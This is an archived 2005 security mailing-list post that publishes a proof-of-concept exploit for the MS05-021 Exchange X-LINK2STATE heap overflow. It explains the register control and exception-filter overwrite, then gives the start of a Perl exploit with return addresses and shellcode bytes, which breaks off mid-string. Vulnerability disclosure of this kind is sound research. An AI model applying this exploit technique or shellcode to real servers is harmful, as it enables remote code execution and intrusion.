Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [EXPL] Microsoft Exchange X-LINK2STATE Heap Overflow PoC (MS05-021) |
|---|---|
| Date: | 19 Apr 2005 20:38:15 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Microsoft Exchange X-LINK2STATE Heap Overflow PoC (MS05-021) ------------------------------------------------------------------------ SUMMARY As we reported in our previous article: <http://www.securiteam.com/windowsntfocus/5DP0E0UFFW.html> Vulnerability in Exchange Server Allows Remote Code Execution (MS05-021), a vulnerability in Microsoft's Exchange server allows remote attackers to cause the program to execute arbitrary code. The following exploit code can be used to determine whether your Microsoft Exchange server is vulnerable. DETAILS Exploit: The vulnerability is a heap overflow in SvrAppendReceivedChunk function which is located in xlsasink.dll. When transmitting large chunks with X-LINK2STATE verb it is possible to overflow the heap and perform arbitrary memory write in RtlAllocateHeap function. 77fcc663 8901 mov [ecx],eax 77fcc665 894804 mov [eax+0x4],ecx We are controlling ECX and EAX registers. So rewriting lpTopLevelExceptionFilter can easily get us to our shellcode on the heap. #!/bin/perl # # # MS05-021 Exchange X-LINK2STATE Heap Overflow # Author: Evgeny Pinchuk # For educational purposes only. # # Tested on: # Windows 2000 Server SP4 EN # Microsoft Exchange 2000 SP3 # # Thanks and greets: # Halvar Flake (thx for the right directions) # Alex Behar, Yuri Gushin, Ishay Sommer, Ziv Gadot and Dave Hawkins # # use IO::Socket::INET; my $host = shift(@ARGV); my $port = 25; my $reply; my $request; my $EAX="\x55\xB2\xD3\x77"; # CALL DWORD PTR [ESI+0x4C] (rpcrt4.dll) my $ECX="\xF0\xA1\x5C\x7C"; # lpTopLevelExceptionFilter my $JMP="\xEB\x10"; my $SC="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\xD5\x01" ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [EXPL] PostgreSQL Remote DoS (plpgsql), SecuriTeam |
|---|---|
| Next by Date: | [NEWS] AppleWebKit XMLHttpRequest Arbitrary File Disclosure, SecuriTeam |
| Previous by Thread: | [EXPL] PostgreSQL Remote DoS (plpgsql), SecuriTeam |
| Next by Thread: | [NEWS] AppleWebKit XMLHttpRequest Arbitrary File Disclosure, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |